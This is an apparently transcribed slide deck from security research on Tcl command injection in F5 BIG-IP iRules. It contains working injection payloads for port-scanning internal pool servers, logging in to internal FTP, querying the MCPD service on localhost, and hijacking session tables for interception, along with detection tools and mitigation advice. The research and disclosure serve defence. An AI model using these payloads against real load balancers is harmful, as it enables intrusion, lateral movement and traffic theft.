Transcription
COMMAND INJECTION INIRULES LOADBALANCERSCRIPTSA story about how TCL interpretation works in F5 iRulesand how it can be detected or exploited
WHOAM I AND THANKSBig thanks to my fellow researchers Jesper BlomströmPasi SaarinenWilliam SöderbergOlle SegerdahlTwitter @kuggofficialBig thanks to David and Aaron at F5 SIRT for a good 46
F-SECURE IS ONE OF THE LEADING CYBERSECURITY CONSULTING PROVIDERS GLOBALLYCAPABILITYACCREDITATIONS250 HNICAL SECURITY SERVICESRed teamingTHOUGHTLEADERSHIPIncidentManagement &ForensicsRISK & SECURITY MANAGEMENTCLIENTS300 250 Publications &research releasedannuallySecurityassessmentsClientsAudit & analysisDevelopmentprogramsCYBER rmCoaching &exercisesHardwaresecurityassessments
LOADBALANCERS
THE F5 PRODUCTS I WILL TALK ABOUT Can store and handle multiple sessions for backendserversInternet Customers write their own iRules to define the loadbalancer behaviour https://devcentral.f5.com is used as a ”stackoverflow foriRules” Application fluency for all major protocols.TLSBIG-IP Load balancer Highly programmable through iRules, iRules LX andTraffic Policies Deployable as software and hardware Scalable to Tb/s of performance and highly available forboth data and control plane WAF functionalityHTTP Server 1HTTP Server 2
CACHING IRULE EXAMPLELoadbalancerBrowserGET /favicon.icoiRuleHTTP 200 OKBackendwebservers
FORWARDING EXAMPLEBackendwebserversLoadbalancerBrowserGET /index.htmlGET /index.htmliRuleHTTP 200 OKHTTP 200 OK
THE IRULELANGUAGE A fork of TCL 8.4 New features in TCL 8.4 are notintroduced in iRule iRule has introduced a group ofsimplifications and exceptions to TCL Return oriented programming (withoptional exception handling)
TCL / IRULE BASICS iRules determine where a given HTTP request is forwarded to, based on aprogrammed logic The HTTP request header and body is parsed by the F5 iRule engine The system admnistrator writes F5 iRule code to handle requests Example ”catch-all” redirect iRule:when HTTP REQUEST {HTTP::redirect ”/helloworld.html”}
HOW TO SPOT THESELOAD BALANCERS INTHE WILDHTTP header include Server: BigIPFound in redirectsFound in favicon.ico responsesHTTP/1.0 302 FoundLocation: /helloworld.htmlServer: BigIPConnection: closeContent-Type: Text/htmlContent-Length: 0
TCL SUPPORTSARGUMENTSUBSTITUTION
COMMANDARGUMENTS An argument is evaluated by breaking down words and substituting its meaningdepending on the string enclosure1.2.3.4.commandcommandcommandcommand” arg1” ” arg2”[ arg1] [ arg2]{ arg1} { arg2} arg1 arg2####Quoted argumentsBracketed argumentsBraced argumentsUnquoted arguments
QUOTED EVALUATIONAND COMMANDSUBSTITUTIONInside double quotes (”): ”Commandsubstitution, variable substitution, andbackslash substitution are performed onthe characters between the quotes ”Inside brackets []: ”If a word contains anopen bracket (“[”) then TCL performscommand substitution.” Like backticks in /bin/sh
THIS IS A COMMANDINJECTIONBart: Is Al there?Moe: Al?Bart: Yeah, Al. Last name Caholic?Moe: Hold on, I'll check. Phone callfor Al. Al Caholic. Is there an AlCaholic here?(The guys in the pub cheer.)15
ARGS AND BODY UNQUOTED COMMANDSUBSTITUTIONThe body part of command invocation is a list of commands to execute if acondition is metcommand ?arg? ?body?1. after 1 body2. while 1 body3. if 1 body4. switch 1 1 bodyIn these cases the value of body will be command substituted regardless ofquote unless braces are used
PRIOR ART: COMMAND INJECTION IN TCL 8.4TCL will expand the value of a command before assignment if it is put inside quoteshttps://wiki.tcl-lang.org/page/Injection Attackset variable {This is a string}catch "puts variable"When double quotes are used, TCL will substitute the content of the variables and commandsTry:set variable {[error PWNED!]}When the contents of variable is substituted by TCL it will be passed as [error PWNED!]to catch and executed. This is called double substitution
BREAKING DOWNEXECUTION1. The word catch is resolved as acommand with a ?body?argument2. Arguments are evaluated by theTCL interpreter according to thedodecalogue, includingexpansion of [ ] ” ”{ }3. Any code within argumentsstarting with [ will be executedby catchcatch ”puts variable”catch puts [error PWNED!]error PWNED!
LIST OF BUILT-IN COMMANDS THAT CAN PERFORMCOMMAND EVALUATION after proc subst catch cpu time eval string match try expr interp uplevel for namespace eval while foreach namespace inscope trace history source list if switch
DIRECT EVALUATION: EVAL, SUBST OR EXPReval, a builtin Tcl command,interprets its argumentsas a script, which it thenevaluates.eval arg ?arg .?subst - Performbackslash, command,and variablesubstitutions.subst ?nobackslashes? ?nocommands? ?novariables?Stringexpr, a builtin Tcl command,interprets its argumentsas a mathematicalexpression, which it thenevaluates.expr arg ?arg.?
IRULE BASED ON HSSRBrowserBackendwebserversLoadbalancerGET /index.htmlGET /index.htmliRuleHTTP 200 OKHTTP 200 OKwhen HTTP REQUEST {if {[HTTP::uri] starts with "/index.html"} {set lang [HTTP::header {Accept-Language}]set uri http:// lang.cdn.example.com/index.htmlset status [call /Common/HSSR::http req -uri uri]}}
HOW HSSR USES OUR URI
EXPLOITATION1. Identify an input field that iscommand substituted in iRuleInput Tcl strings in fields and headernamesLook for indications that the code wasexecuted2. Test injection location using theinfo command3. Identify external resources topivot to permanent access
DEMO TIME
TAKING IT FURTHERHow do we get persistent access?
A session table is a distributedand replicated key value storeGAININGPERMANENTACCESS USING”TABLE” Commonly used to store cookievaluesNotably used to avoid paying for theAPM module Magically synchronized betweeninstances using load balancingCan be used to pivot access onmultiple instances
With command injection it’spossible to overwrite any tablevalueHACKING THESESSION TABLE tabletabletabletablesetlookupaddreplace Overwriting another (or all) usersession enable specificallyexecuting code for a target user Possible to sniff all http(s) traffic forany authenticated user
TABLE DEMO:HOSTED MITM
A LOOK AT THE CODE IN THE BIG-IP EDITOR
POSTEXPLOITATIONPOSSIBILITIES Scan internal network Scan localhost Attack internal resources usingthe BIG-IP F5 as a pivot
PAYLOAD 1Exposing the pool (backend) serversactive nodes -list [LB::server pool]
PORTSCAN THE POOL SERVERSforeach p {21 80 135 389 443 445}{catch {set c [connect192.168.200.5: p];append r p "\topen\n";close c}};TCP::respond r
LOGGING IN TO THE FTP SERVICEcatch {set c [connect 192.168.200.5:21];recv -timeout 200 c d;recv -timeout 200 c d;send -timeout 200 c "USER anonymous\r";recv -timeout 200 c d;send -timeout 200 c "PASS a@a.com\r";recv -timeout 200 c d;};close c;TCP::respond d
ATTACK CHAINProtectedwebserversLoadbalancerBrowserGET / index.htmlFTP requestiRuleFTP response230 User logged in.
PAYLOAD 2PORTSCAN LOCALHOST
PAYLOAD 3QUERY ALL MCPD SYSTEM MODULEset c [connect 127.0.0.1:6666];send 0%00%00%00%00%00};recv -timeout 10000 c d;TCP::respond d
MCPD EXPLANATION%00%00%00%16 SIZE%00%00%00%3f SEQUENCE%00%00%00%00 REQUEST-ID%00%00%00%02 FLAG%0b%65 KEY (Query All)%00%0d TYPE%00%00%00%0c ATTRIBUTE SIZE%21%e0 ATTRIBUTE NAME (System Module)%00%0d%00%00%00%02%00%00%00%00 (Attribute data)%00%00 END OF MESSAGE
LIST USERSAND PRIVILEGES
LIST LOCAL TMSH SHELL COMMANDS(BEYOND IRULE)
ATTACK CHAIN1. iRule injection access2. Query MCPD3. Mcpd response4. Execute MCPD tmsh command withTcl injection5. 6. Local privilegies
DETECTION
SCANNING FORCOMMANDINJECTIONWITH TCLSCAN Automated tool to find quoted andunquoted arguments It’s unmaintained Rust so I had tofix it Finds 80% of known injectionvulnerabilities Get the code:https://github.com/kugg/tclscan
AUTOMATED TESTING USING IRULEDETECTOR.PY Automated iRule injection detector scanner for Burp Suite The tool will substitute every available input field with a Tcl injection andmeasure the result Download iruledetector.py in the bapp-store
Get the code:https://github.com/landro/testclUNIT TESTINGIRULE CODEUSING TESTCL Unit testing framework for iRulecode Community driven, lacks complexsupport I added cookie support Good for unit testing code andfinding logical vulnerabilities
SUMMARY Tcl is an old and loosely definedlanguageEasy to foolHard to get variable assignment andsubstitution right Avoid the use of eval, subst and expr Take care to use {bracing} of ?body?arguments. Use iruledetector.py in burp to findvulnerabilities Use tclscan to review code Use testcl to test your iRule logic Do manual third party code reviews
THANK YOU
ATTACK CHAINBrowserLoadbalancer1. iRule injection access2. Query MCPD3. Mcpd response1. iRule injection (mcpd)3. mcpd responseiRule4. Execute MCPD tmsh command withTcl injection5. 6. Local privilegies2. mcpdquery4. Irule with tmsh5. Tcl shell responseiRule
Customers write their own iRules to define the load balancer behaviour https://devcentral.f5.com is used as a ”stackoverflow for iRules” Application fluency for all major protocols. Highly programmable through iRules, iRules LX and Traffic Policies Deployable as software and hardware Scalable to Tb/s of performance and highly available for both data and control plane WAF functionality THE .